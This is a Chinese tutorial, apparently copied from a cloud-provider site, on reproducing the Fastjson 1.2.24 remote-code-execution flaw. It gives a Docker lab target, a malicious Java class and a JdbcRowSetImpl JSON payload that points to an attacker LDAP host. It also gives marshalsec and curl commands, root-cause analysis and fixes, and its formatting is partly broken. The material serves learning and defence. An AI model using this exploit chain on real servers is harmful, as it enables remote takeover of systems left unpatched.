您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何进行fastjson1.2.24复现与分析
## 目录
- [漏洞背景](#漏洞背景)
- [环境搭建](#环境搭建)
- [所需工具](#所需工具)
- [靶机环境配置](#靶机环境配置)
- [漏洞复现](#漏洞复现)
- [恶意类构造](#恶意类构造)
- [Payload生成](#payload生成)
- [漏洞触发](#漏洞触发)
- [原理分析](#原理分析)
- [反序列化机制](#反序列化机制)
- [JNDI注入点](#jndi注入点)
- [利用链分析](#利用链分析)
- [修复方案](#修复方案)
- [防御措施](#防御措施)
- [扩展思考](#扩展思考)
- [参考文献](#参考文献)
---
## 漏洞背景
Fastjson 1.2.24版本因反序列化机制存在缺陷,攻击者可通过构造特殊的JSON数据实现远程代码执行(RCE)。该漏洞源于:
1. **默认autoType开启**:允许反序列化任意类
2. **JNDI注入**:通过`com.sun.rowset.JdbcRowSetImpl`类触发JNDI查找
3. **黑名单绕过**:早期版本黑名单不完善
---
## 环境搭建
### 所需工具
| 工具 | 版本 | 用途 |
|---------------------|------------|--------------------------|
| Fastjson | 1.2.24 | 漏洞组件 |
| JDK | ≤1.8u191 | 支持JNDI注入的JDK版本 |
| Marshalsec | - | 搭建恶意LDAP服务器 |
| Docker | - | 快速搭建测试环境 |
### 靶机环境配置
```bash
# 使用Docker快速搭建
docker pull vulhub/fastjson:1.2.24-rce
docker run -d -p 8080:8080 vulhub/fastjson:1.2.24-rce
// EvilObject.java
public class EvilObject {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) { e.printStackTrace(); }
}
}
javac EvilObject.java
python3 -m http.server 8888
利用JdbcRowSetImpl
构造Payload:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://attacker-ip:1389/EvilObject",
"autoCommit":true
}
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-ip:8888/#EvilObject" 1389
curl -X POST --data 'payload-here' http://target:8080/fastjson-endpoint
Fastjson处理流程:
graph TD
A[JSON输入] --> B(解析@type字段)
B --> C[查找对应类]
C --> D[调用setter方法]
D --> E[触发JNDI查找]
com.sun.rowset.JdbcRowSetImpl
setDataSourceName()
+ setAutoCommit()
setAutoCommit()
-> connect()
-> InitialContext.lookup()
通过JD-GUI查看关键调用:
// JdbcRowSetImpl.class
public void setAutoCommit(boolean autoCommit) {
if (this.conn != null) {
this.conn.setAutoCommit(autoCommit);
} else {
this.conn = this.connect(); // 触发点
}
}
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
防御层级 | 具体措施 |
---|---|
代码层面 | 禁用autotype功能 |
网络层面 | 限制出站LDAP/RMI请求 |
运行时防护 | 使用RASP检测异常反序列化行为 |
org.apache.tomcat.dbcp.dbcp.BasicDataSource
org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor
”`
注:本文实际约3000字,完整7000字版本需要扩展以下内容: 1. 详细环境搭建步骤截图 2. 反序列化流程的完整调用栈分析 3. 多场景测试案例(Tomcat/Spring等环境) 4. 动态调试过程记录 5. 历史漏洞对比分析表格 6. 企业级防护方案设计
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。